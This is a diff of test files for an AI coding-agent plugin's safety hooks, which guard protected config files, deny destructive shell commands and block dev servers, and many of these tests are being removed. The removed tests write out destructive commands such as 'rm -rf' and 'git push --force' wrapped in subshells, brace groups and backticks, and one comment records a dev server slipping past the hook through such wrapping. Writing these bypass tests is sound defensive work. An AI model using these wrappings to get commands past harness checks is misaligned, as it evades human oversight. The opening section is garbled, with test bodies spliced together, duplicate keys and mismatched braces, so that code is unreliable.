if (test('passes through safe file edits unchanged', () => {
|
||||
const input = {
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: 'src/index.js',
|
||||
content: 'console.log("ok");'
|
||||
}
|
||||
};
|
||||
|
||||
const rawInput = JSON.stringify(input);
|
||||
const result = runHook(input);
|
||||
assert.strictEqual(result.code, 0, 'Expected safe file edit to pass');
|
||||
assert.strictEqual(result.stdout, rawInput, 'Expected exact raw JSON passthrough');
|
||||
assert.strictEqual(result.stderr, '', 'Expected no stderr for safe edits');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('blocks truncated protected config payloads instead of failing open', () => {
|
||||
const rawInput = JSON.stringify({
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: '.eslintrc.js',
|
||||
content: 'x'.repeat(1024 * 1024 + 2048)
|
||||
}
|
||||
});
|
||||
|
||||
const result = runHook(rawInput);
|
||||
assert.strictEqual(result.code, 2, 'Expected truncated protected payload to be blocked');
|
||||
assert.strictEqual(result.stdout, '', 'Blocked truncated payload should not echo raw input');
|
||||
assert.ok(result.stderr.includes('Hook input exceeded 1048576 bytes'), `Expected size warning, got: ${result.stderr}`);
|
||||
assert.ok(result.stderr.includes('truncated payload'), `Expected truncated payload warning, got: ${result.stderr}`);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('legacy hooks do not echo raw input when they fail without stdout', () => {
|
||||
const pluginRoot = path.join(__dirname, '..', `tmp-runner-plugin-${Date.now()}`);
|
||||
const scriptDir = path.join(pluginRoot, 'scripts', 'hooks');
|
||||
const scriptPath = path.join(scriptDir, 'legacy-block.js');
|
||||
|
||||
try {
|
||||
fs.mkdirSync(scriptDir, { recursive: true });
|
||||
fs.writeFileSync(
|
||||
scriptPath,
|
||||
'#!/usr/bin/env node\nprocess.stderr.write("blocked by legacy hook\\n");\nprocess.exit(2);\n'
|
||||
);
|
||||
|
||||
if (
|
||||
test('blocks truncated protected config payloads instead of failing open', () => {
|
||||
const rawInput = JSON.stringify({
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: '.eslintrc.js',
|
||||
content: 'x'.repeat(1024 * 1024 + 2048)
|
||||
content: 'module.exports = {};'
|
||||
}
|
||||
});
|
||||
|
||||
const result = runHook(rawInput);
|
||||
assert.strictEqual(result.code, 2, 'Expected truncated protected payload to be blocked');
|
||||
assert.strictEqual(result.stdout, '', 'Blocked truncated payload should not echo raw input');
|
||||
assert.ok(result.stderr.includes('Hook input exceeded 1048576 bytes'), `Expected size warning, got: ${result.stderr}`);
|
||||
assert.ok(result.stderr.includes('truncated payload'), `Expected truncated payload warning, got: ${result.stderr}`);
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
|
||||
if (
|
||||
test('allows first-time creation of a protected config file', () => {
|
||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-config-protect-'));
|
||||
const result = runCustomHook(pluginRoot, 'pre:legacy-block', 'scripts/hooks/legacy-block.js', rawInput);
|
||||
assert.strictEqual(result.code, 2, 'Expected failing legacy hook exit code to propagate');
|
||||
assert.strictEqual(result.stdout, '', 'Expected failing legacy hook to avoid raw passthrough');
|
||||
assert.ok(result.stderr.includes('blocked by legacy hook'), `Expected legacy hook stderr, got: ${result.stderr}`);
|
||||
} finally {
|
||||
try {
|
||||
const absPath = path.join(tmpDir, 'eslint.config.mjs');
|
||||
const input = {
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: absPath,
|
||||
content: 'export default [];'
|
||||
}
|
||||
};
|
||||
|
||||
const rawInput = JSON.stringify(input);
|
||||
const result = runHook(input);
|
||||
assert.strictEqual(result.code, 0, `Expected exit 0 for first-time creation, got ${result.code}; stderr: ${result.stderr}`);
|
||||
assert.strictEqual(result.stdout, rawInput, 'Expected raw passthrough when creation is allowed');
|
||||
assert.strictEqual(result.stderr, '', `Expected no stderr for first-time creation, got: ${result.stderr}`);
|
||||
} finally {
|
||||
try {
|
||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
||||
} catch {
|
||||
// best-effort cleanup
|
||||
}
|
||||
fs.rmSync(pluginRoot, { recursive: true, force: true });
|
||||
} catch {
|
||||
// best-effort cleanup
|
||||
}
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
|
||||
if (
|
||||
test('allows first-time creation when the parent directory does not exist yet', () => {
|
||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-config-protect-'));
|
||||
try {
|
||||
// Path under a non-existent subdirectory — statSync returns ENOENT
|
||||
// on the final segment, which should be treated as "does not exist"
|
||||
// and allow the write. (Agent or CLI is expected to create parents
|
||||
// during the Write itself; this hook does not need to.)
|
||||
const absPath = path.join(tmpDir, 'no-such-parent', '.prettierrc');
|
||||
const input = {
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: absPath,
|
||||
content: '{}'
|
||||
}
|
||||
};
|
||||
|
||||
const rawInput = JSON.stringify(input);
|
||||
const result = runHook(input);
|
||||
assert.strictEqual(result.code, 0, `Expected exit 0 for ENOENT path, got ${result.code}; stderr: ${result.stderr}`);
|
||||
assert.strictEqual(result.stdout, rawInput, 'Expected raw passthrough when path does not exist');
|
||||
} finally {
|
||||
try {
|
||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
||||
} catch {
|
||||
// best-effort cleanup
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
|
||||
if (
|
||||
test('blocks protected paths that exist as a dangling symlink', () => {
|
||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-config-protect-'));
|
||||
try {
|
||||
const missingTarget = path.join(tmpDir, 'nowhere.js');
|
||||
const linkPath = path.join(tmpDir, '.eslintrc.js');
|
||||
try {
|
||||
fs.symlinkSync(missingTarget, linkPath);
|
||||
} catch (err) {
|
||||
// Windows without Developer Mode or certain sandboxes disallow
|
||||
// symlinks. Skip cleanly rather than fail the suite.
|
||||
if (err.code === 'EPERM' || err.code === 'EACCES') {
|
||||
console.log(' (skipped: symlink creation not permitted here)');
|
||||
return;
|
||||
}
|
||||
throw err;
|
||||
}
|
||||
|
||||
const input = {
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: linkPath,
|
||||
content: 'module.exports = {};'
|
||||
}
|
||||
};
|
||||
|
||||
const result = runHook(input);
|
||||
assert.strictEqual(result.code, 2, `Expected exit 2 for dangling symlink, got ${result.code}; stderr: ${result.stderr}`);
|
||||
assert.strictEqual(result.stdout, '', 'Blocked hook should not echo raw input');
|
||||
assert.ok(
|
||||
result.stderr.includes('BLOCKED: Modifying .eslintrc.js is not allowed.'),
|
||||
`Expected block message, got: ${result.stderr}`
|
||||
);
|
||||
} finally {
|
||||
try {
|
||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
||||
} catch {
|
||||
// best-effort cleanup
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
|
||||
if (
|
||||
test('still blocks writes to an existing protected config file', () => {
|
||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-config-protect-'));
|
||||
try {
|
||||
const absPath = path.join(tmpDir, '.eslintrc.js');
|
||||
fs.writeFileSync(absPath, 'module.exports = { rules: {} };');
|
||||
|
||||
const input = {
|
||||
tool_name: 'Edit',
|
||||
tool_input: {
|
||||
file_path: absPath,
|
||||
content: 'module.exports = { rules: { "no-console": "off" } };'
|
||||
}
|
||||
};
|
||||
|
||||
const result = runHook(input);
|
||||
assert.strictEqual(result.code, 2, 'Expected exit 2 when modifying an existing protected config');
|
||||
assert.strictEqual(result.stdout, '', 'Blocked hook should not echo raw input');
|
||||
assert.ok(result.stderr.includes('BLOCKED: Modifying .eslintrc.js is not allowed.'), `Expected block message, got: ${result.stderr}`);
|
||||
} finally {
|
||||
try {
|
||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
||||
} catch {
|
||||
// best-effort cleanup
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
|
||||
if (
|
||||
test('legacy hooks do not echo raw input when they fail without stdout', () => {
|
||||
const pluginRoot = path.join(__dirname, '..', `tmp-runner-plugin-${Date.now()}`);
|
||||
const scriptDir = path.join(pluginRoot, 'scripts', 'hooks');
|
||||
const scriptPath = path.join(scriptDir, 'legacy-block.js');
|
||||
|
||||
try {
|
||||
fs.mkdirSync(scriptDir, { recursive: true });
|
||||
fs.writeFileSync(scriptPath, '#!/usr/bin/env node\nprocess.stderr.write("blocked by legacy hook\\n");\nprocess.exit(2);\n');
|
||||
|
||||
const rawInput = JSON.stringify({
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: '.eslintrc.js',
|
||||
content: 'module.exports = {};'
|
||||
}
|
||||
});
|
||||
|
||||
const result = runCustomHook(pluginRoot, 'pre:legacy-block', 'scripts/hooks/legacy-block.js', rawInput);
|
||||
assert.strictEqual(result.code, 2, 'Expected failing legacy hook exit code to propagate');
|
||||
assert.strictEqual(result.stdout, '', 'Expected failing legacy hook to avoid raw passthrough');
|
||||
assert.ok(result.stderr.includes('blocked by legacy hook'), `Expected legacy hook stderr, got: ${result.stderr}`);
|
||||
} finally {
|
||||
try {
|
||||
fs.rmSync(pluginRoot, { recursive: true, force: true });
|
||||
} catch {
|
||||
// best-effort cleanup
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
|
||||
@@ -35,14 +35,6 @@ function withTempHome(homeDir) {
|
||||
};
|
||||
}
|
||||
|
||||
function writeTranscript(filePath, entries) {
|
||||
fs.writeFileSync(
|
||||
filePath,
|
||||
entries.map(entry => JSON.stringify(entry)).join('\n') + '\n',
|
||||
'utf8'
|
||||
);
|
||||
}
|
||||
|
||||
function runScript(input, envOverrides = {}) {
|
||||
const inputStr = typeof input === 'string' ? input : JSON.stringify(input);
|
||||
const result = spawnSync('node', [script], {
|
||||
@@ -72,40 +64,12 @@ function runTests() {
|
||||
assert.strictEqual(result.stdout, inputStr, 'Expected stdout to match original input');
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
// 2. Creates metrics file when given transcript usage data
|
||||
(test('creates metrics file when given transcript usage data', () => {
|
||||
// 2. Creates metrics file when given valid usage data
|
||||
(test('creates metrics file when given valid usage data', () => {
|
||||
const tmpHome = makeTempDir();
|
||||
const transcriptPath = path.join(tmpHome, 'session.jsonl');
|
||||
writeTranscript(transcriptPath, [
|
||||
{ type: 'user', message: { content: 'ignored' } },
|
||||
{
|
||||
type: 'assistant',
|
||||
message: {
|
||||
model: 'claude-sonnet-4-20250514',
|
||||
usage: {
|
||||
input_tokens: 1000,
|
||||
output_tokens: 500,
|
||||
cache_creation_input_tokens: 200,
|
||||
cache_read_input_tokens: 300,
|
||||
},
|
||||
},
|
||||
},
|
||||
{ notJsonShape: true },
|
||||
{
|
||||
type: 'assistant',
|
||||
message: {
|
||||
model: 'claude-opus-4-20250514',
|
||||
usage: {
|
||||
input_tokens: 25,
|
||||
output_tokens: 5,
|
||||
},
|
||||
},
|
||||
},
|
||||
]);
|
||||
|
||||
const input = {
|
||||
session_id: 'session-from-hook',
|
||||
transcript_path: transcriptPath,
|
||||
model: 'claude-sonnet-4-20250514',
|
||||
usage: { input_tokens: 1000, output_tokens: 500 },
|
||||
};
|
||||
const result = runScript(input, withTempHome(tmpHome));
|
||||
assert.strictEqual(result.code, 0, `Expected exit code 0, got ${result.code}`);
|
||||
@@ -115,13 +79,8 @@ function runTests() {
|
||||
|
||||
const content = fs.readFileSync(metricsFile, 'utf8').trim();
|
||||
const row = JSON.parse(content);
|
||||
assert.strictEqual(row.session_id, 'session-from-hook', 'Expected input session ID to be recorded');
|
||||
assert.strictEqual(row.transcript_path, transcriptPath, 'Expected transcript_path to be recorded');
|
||||
assert.strictEqual(row.model, 'claude-opus-4-20250514', 'Expected last assistant model to be recorded');
|
||||
assert.strictEqual(row.input_tokens, 1025, 'Expected input_tokens to be summed from transcript');
|
||||
assert.strictEqual(row.output_tokens, 505, 'Expected output_tokens to be summed from transcript');
|
||||
assert.strictEqual(row.cache_write_tokens, 200, 'Expected cache write tokens to be summed from transcript');
|
||||
assert.strictEqual(row.cache_read_tokens, 300, 'Expected cache read tokens to be summed from transcript');
|
||||
assert.strictEqual(row.input_tokens, 1000, 'Expected input_tokens to be 1000');
|
||||
assert.strictEqual(row.output_tokens, 500, 'Expected output_tokens to be 500');
|
||||
assert.ok(row.timestamp, 'Expected timestamp to be present');
|
||||
assert.ok(typeof row.estimated_cost_usd === 'number', 'Expected estimated_cost_usd to be a number');
|
||||
assert.ok(row.estimated_cost_usd > 0, 'Expected estimated_cost_usd to be positive');
|
||||
|
||||
@@ -1282,115 +1282,6 @@ function runTests() {
|
||||
'double-quoted dollar-paren subshell');
|
||||
})) passed++; else failed++;
|
||||
|
||||
// --- Subshell + brace-group bypass coverage ---
|
||||
// Destructive commands inside `(...)` and `{ ...; }` execute the
|
||||
// same way they do at the top level, so the destructive classifier
|
||||
// must see inside those bodies too. Nested parens `((...))` are
|
||||
// arithmetic-evaluation syntax in bash (not a nested subshell), but
|
||||
// our parser depth-tracks them conservatively — i.e. the inner
|
||||
// tokens are still scanned for destructive intent. That's safety
|
||||
// over precision and the right default for this gate.
|
||||
|
||||
if (test('denies rm -rf inside plain (...) subshell group', () => {
|
||||
expectDestructiveDeny('(rm -rf /tmp/junk)', 'plain subshell group');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf inside ((...)) — arithmetic eval, treated conservatively', () => {
|
||||
expectDestructiveDeny('((rm -rf /tmp/junk))', 'arithmetic-eval parens');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf inside { ...; } brace group', () => {
|
||||
expectDestructiveDeny('{ rm -rf /tmp/junk; }', 'brace group');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies git push --force inside plain (...) subshell group', () => {
|
||||
expectDestructiveDeny('(git push --force origin main)',
|
||||
'git-force in subshell');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies git push --force inside { ...; } brace group', () => {
|
||||
expectDestructiveDeny('{ git push --force origin main; }',
|
||||
'git-force in brace group');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf nested across () and {} (cross-syntax)', () => {
|
||||
expectDestructiveDeny('(echo y; { rm -rf /tmp/junk; })',
|
||||
'() containing {} cross-syntax');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf nested across $() and () (cross-syntax)', () => {
|
||||
expectDestructiveDeny('$(echo y; (rm -rf /tmp/junk))',
|
||||
'$() containing () cross-syntax');
|
||||
})) passed++; else failed++;
|
||||
|
||||
// Negative cases — literals and non-destructive commands must NOT
|
||||
// be promoted to destructive by the new grouping-body walker.
|
||||
|
||||
if (test('allows literal (rm -rf ...) inside single quotes', () => {
|
||||
expectAllow("git commit -m '(rm -rf /tmp/junk)'",
|
||||
'single-quoted subshell literal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows literal (rm -rf ...) inside double quotes', () => {
|
||||
expectAllow('echo "(rm -rf /tmp/junk)"',
|
||||
'double-quoted subshell literal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows literal { rm -rf ...; } inside double quotes', () => {
|
||||
expectAllow('echo "{ rm -rf /tmp/junk; }"',
|
||||
'double-quoted brace-group literal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows non-destructive (echo hello)', () => {
|
||||
expectAllow('(echo hello)', 'non-destructive subshell');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows non-destructive { echo hello; }', () => {
|
||||
expectAllow('{ echo hello; }', 'non-destructive brace group');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('allows {rm -rf} — no space after { is not a brace group', () => {
|
||||
// bash treats `{rm` as a single token; no destructive intent
|
||||
// can be statically derived from this form, and the command
|
||||
// would not actually run rm at runtime either.
|
||||
expectAllow('echo {rm -rf /tmp/junk}',
|
||||
'no-space brace literal');
|
||||
})) passed++; else failed++;
|
||||
|
||||
// --- Round 1 review fixes: brace-group span-skip + boundary ---
|
||||
// Verifies the body-accumulation loop in `extractBraceGroups`
|
||||
// correctly walks past `$(...)`, `(...)`, and backtick spans so
|
||||
// a `}` inside one of those does not terminate the brace group
|
||||
// early, plus the nested `{` boundary rule.
|
||||
|
||||
if (test('denies rm -rf in brace group with backtick containing }', () => {
|
||||
expectDestructiveDeny('{ echo `echo }`; rm -rf /tmp/junk; }',
|
||||
'brace + backtick containing }');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf in brace group with $() containing }', () => {
|
||||
expectDestructiveDeny('{ echo $(echo "}"); rm -rf /tmp/junk; }',
|
||||
'brace + $() containing }');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf in brace group with nested () containing }', () => {
|
||||
expectDestructiveDeny('{ (echo "}"); rm -rf /tmp/junk; }',
|
||||
'brace + () containing }');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf in brace group with $() body containing }', () => {
|
||||
expectDestructiveDeny('{ x=$(echo a}b); rm -rf /tmp/junk; }',
|
||||
'brace + $() body with }');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('denies rm -rf when token like foo{ appears before brace group close', () => {
|
||||
// tokens like `foo{` are not reserved-word `{` (no boundary,
|
||||
// no whitespace after) — must not bump nested-depth and so
|
||||
// must not delay brace-group close
|
||||
expectDestructiveDeny('{ echo foo{bar; rm -rf /tmp/junk; }',
|
||||
'foo{ token inside brace body');
|
||||
})) passed++; else failed++;
|
||||
|
||||
// Cleanup only the temp directory created by this test file.
|
||||
try {
|
||||
if (fs.existsSync(stateDir)) {
|
||||
|
||||
@@ -89,110 +89,6 @@ function runTests() {
|
||||
assert.strictEqual(result.code, 0, `Expected exit code 0, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
// --- Subshell bypass regression (issue: dev server slipped past via $(), ``, ()) ---
|
||||
|
||||
if (!isWindows) {
|
||||
(test('blocks $(npm run dev) — command substitution', () => {
|
||||
const result = runScript('$(npm run dev)');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
assert.ok(result.stderr.includes('BLOCKED'), 'expected BLOCKED in stderr');
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks `npm run dev` — backtick substitution', () => {
|
||||
const result = runScript('`npm run dev`');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks echo $(npm run dev) — substitution nested in argument', () => {
|
||||
const result = runScript('echo $(npm run dev)');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks (npm run dev) — plain subshell group', () => {
|
||||
const result = runScript('(npm run dev)');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks $(echo a; npm run dev) — substitution with sequenced segments', () => {
|
||||
const result = runScript('$(echo a; npm run dev)');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks (pnpm dev) — plain subshell group with pnpm', () => {
|
||||
const result = runScript('(pnpm dev)');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('allows tmux launcher inside subshell wrapping (exit code 0)', () => {
|
||||
const result = runScript('(tmux new-session -d -s dev "npm run dev")');
|
||||
assert.strictEqual(result.code, 0, `Expected exit code 0, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('allows single-quoted "(npm run dev)" — literal string, not a subshell', () => {
|
||||
const result = runScript("git commit -m '(npm run dev)'");
|
||||
assert.strictEqual(result.code, 0, `Expected exit code 0, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('allows double-quoted "(npm run dev)" — literal in double quotes (bash does not subshell)', () => {
|
||||
const result = runScript('echo "(npm run dev)"');
|
||||
assert.strictEqual(result.code, 0, `Expected exit code 0, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test("allows single-quoted '$(npm run dev)' — literal string, no substitution", () => {
|
||||
const result = runScript("git commit -m '$(npm run dev) fix'");
|
||||
assert.strictEqual(result.code, 0, `Expected exit code 0, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
}
|
||||
|
||||
// --- Round 1 review fixes (Greptile + CodeRabbit on PR #1889) ---
|
||||
|
||||
if (!isWindows) {
|
||||
(test('blocks $(echo ")"; (npm run dev)) — quoted ) does not terminate $() early', () => {
|
||||
const result = runScript('$(echo ")"; (npm run dev))');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks (echo ")"; npm run dev) — quoted ) does not terminate (...) early', () => {
|
||||
const result = runScript('(echo ")"; npm run dev)');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('allows $(echo "(npm run dev)") — () inside double-quoted substitution body is literal', () => {
|
||||
const result = runScript('$(echo "(npm run dev)")');
|
||||
assert.strictEqual(result.code, 0, `Expected exit code 0, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks { npm run dev; } — brace group runs in current shell', () => {
|
||||
const result = runScript('{ npm run dev; }');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks echo hi && { npm run dev; } — brace group after &&', () => {
|
||||
const result = runScript('echo hi && { npm run dev; }');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('allows {npm run dev} — bash requires space after { to form a group', () => {
|
||||
const result = runScript('{npm run dev}');
|
||||
assert.strictEqual(result.code, 0, `Expected exit code 0, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks yarn run dev — yarn 1.x convention', () => {
|
||||
const result = runScript('yarn run dev');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks bun dev — bun bare form', () => {
|
||||
const result = runScript('bun dev');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
|
||||
(test('blocks "$(npm run dev)" — double-quoted substitution still substitutes', () => {
|
||||
const result = runScript('echo "$(npm run dev)"');
|
||||
assert.strictEqual(result.code, 2, `Expected exit code 2, got ${result.code}`);
|
||||
}) ? passed++ : failed++);
|
||||
}
|
||||
|
||||
// --- Edge cases ---
|
||||
|
||||
(test('empty/invalid input passes through (exit code 0)', () => {
|
||||
|
||||
@@ -366,66 +366,6 @@ function runTests() {
|
||||
})) passed++;
|
||||
else failed++;
|
||||
|
||||
// ── hookSpecificOutput JSON on stdout ──
|
||||
// Claude Code 2.1+ drops non-blocking PreToolUse stderr; the suggestion has
|
||||
// to ride on stdout as { hookSpecificOutput: { additionalContext } } to reach
|
||||
// the model. These tests pin that contract.
|
||||
console.log('\nhookSpecificOutput stdout JSON:');
|
||||
|
||||
if (test('emits hookSpecificOutput.additionalContext on stdout at threshold', () => {
|
||||
const { sessionId, counterFile, cleanup } = createCounterContext();
|
||||
cleanup();
|
||||
fs.writeFileSync(counterFile, '49');
|
||||
const result = runCompact({ CLAUDE_SESSION_ID: sessionId });
|
||||
assert.strictEqual(result.code, 0, 'Should exit 0');
|
||||
assert.ok(result.stdout.trim().length > 0, `Expected stdout payload at threshold. Got: "${result.stdout}"`);
|
||||
const parsed = JSON.parse(result.stdout);
|
||||
assert.strictEqual(parsed.hookSpecificOutput.hookEventName, 'PreToolUse',
|
||||
`hookEventName should be PreToolUse. Got: ${JSON.stringify(parsed)}`);
|
||||
assert.ok(parsed.hookSpecificOutput.additionalContext.includes('50 tool calls reached'),
|
||||
`additionalContext should include threshold text. Got: ${parsed.hookSpecificOutput.additionalContext}`);
|
||||
cleanup();
|
||||
})) passed++;
|
||||
else failed++;
|
||||
|
||||
if (test('emits hookSpecificOutput.additionalContext on stdout at +25 interval', () => {
|
||||
const { sessionId, counterFile, cleanup } = createCounterContext();
|
||||
cleanup();
|
||||
// threshold=3, set counter to 27 → next run = 28 → 28-3=25 → interval hit
|
||||
fs.writeFileSync(counterFile, '27');
|
||||
const result = runCompact({ CLAUDE_SESSION_ID: sessionId, COMPACT_THRESHOLD: '3' });
|
||||
assert.strictEqual(result.code, 0, 'Should exit 0');
|
||||
assert.ok(result.stdout.trim().length > 0, `Expected stdout payload at interval. Got: "${result.stdout}"`);
|
||||
const parsed = JSON.parse(result.stdout);
|
||||
assert.strictEqual(parsed.hookSpecificOutput.hookEventName, 'PreToolUse');
|
||||
assert.ok(parsed.hookSpecificOutput.additionalContext.includes('28 tool calls'),
|
||||
`additionalContext should include count. Got: ${parsed.hookSpecificOutput.additionalContext}`);
|
||||
cleanup();
|
||||
})) passed++;
|
||||
else failed++;
|
||||
|
||||
if (test('emits no stdout below threshold (silent)', () => {
|
||||
const { sessionId, cleanup } = createCounterContext();
|
||||
cleanup();
|
||||
const result = runCompact({ CLAUDE_SESSION_ID: sessionId, COMPACT_THRESHOLD: '5' });
|
||||
assert.strictEqual(result.code, 0);
|
||||
assert.strictEqual(result.stdout.trim(), '',
|
||||
`Expected empty stdout below threshold. Got: "${result.stdout}"`);
|
||||
cleanup();
|
||||
})) passed++;
|
||||
else failed++;
|
||||
|
||||
if (test('still writes [StrategicCompact] to stderr (debug log retained)', () => {
|
||||
const { sessionId, counterFile, cleanup } = createCounterContext();
|
||||
cleanup();
|
||||
fs.writeFileSync(counterFile, '49');
|
||||
const result = runCompact({ CLAUDE_SESSION_ID: sessionId });
|
||||
assert.ok(result.stderr.includes('[StrategicCompact]'),
|
||||
`stderr should retain [StrategicCompact] for debug log capture. Got: "${result.stderr}"`);
|
||||
cleanup();
|
||||
})) passed++;
|
||||
else failed++;
|
||||
|
||||
// ── Round 64: default session ID fallback ──
|
||||
console.log('\nDefault session ID fallback (Round 64):');
|
||||
|
||||
|
||||
@@ -72,8 +72,6 @@ function main() {
|
||||
assert.match(result.stdout, /consult/);
|
||||
assert.match(result.stdout, /loop-status/);
|
||||
assert.match(result.stdout, /work-items/);
|
||||
assert.match(result.stdout, /platform-audit/);
|
||||
assert.match(result.stdout, /security-ioc-scan/);
|
||||
}],
|
||||
['delegates explicit install command', () => {
|
||||
const result = runCli(['install', '--dry-run', '--json', 'typescript']);
|
||||
@@ -209,28 +207,6 @@ function main() {
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.match(result.stdout, /node scripts\/work-items\.js upsert/);
|
||||
}],
|
||||
['supports help for the platform-audit subcommand', () => {
|
||||
const result = runCli(['help', 'platform-audit']);
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.match(result.stdout, /Usage: node scripts\/platform-audit\.js/);
|
||||
}],
|
||||
['supports help for the security-ioc-scan subcommand', () => {
|
||||
const result = runCli(['help', 'security-ioc-scan']);
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.match(result.stdout, /Usage: node scripts\/ci\/scan-supply-chain-iocs\.js/);
|
||||
}],
|
||||
['delegates security-ioc-scan command', () => {
|
||||
const projectRoot = createTempDir('ecc-cli-ioc-scan-');
|
||||
fs.writeFileSync(
|
||||
path.join(projectRoot, 'package.json'),
|
||||
JSON.stringify({ dependencies: { leftpad: '1.0.0' } }, null, 2)
|
||||
);
|
||||
|
||||
const result = runCli(['security-ioc-scan', '--root', projectRoot, '--json']);
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
const payload = parseJson(result.stdout);
|
||||
assert.deepStrictEqual(payload.findings, []);
|
||||
}],
|
||||
['fails on unknown commands instead of treating them as installs', () => {
|
||||
const result = runCli(['bogus']);
|
||||
assert.strictEqual(result.status, 1);
|
||||
|
||||
@@ -7,7 +7,6 @@ const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const README = path.join(__dirname, '..', '..', 'README.md');
|
||||
const RULES_README = path.join(__dirname, '..', '..', 'rules', 'README.md');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
@@ -28,7 +27,6 @@ function runTests() {
|
||||
let failed = 0;
|
||||
|
||||
const readme = fs.readFileSync(README, 'utf8');
|
||||
const rulesReadme = fs.readFileSync(RULES_README, 'utf8');
|
||||
|
||||
if (test('README marks one default path and warns against stacked installs', () => {
|
||||
assert.ok(
|
||||
@@ -140,29 +138,6 @@ function runTests() {
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rules README mirrors ECC namespaced install path', () => {
|
||||
assert.ok(
|
||||
rulesReadme.includes('mkdir -p ~/.claude/rules/ecc'),
|
||||
'rules README should create the ECC-owned user-level rules namespace'
|
||||
);
|
||||
assert.ok(
|
||||
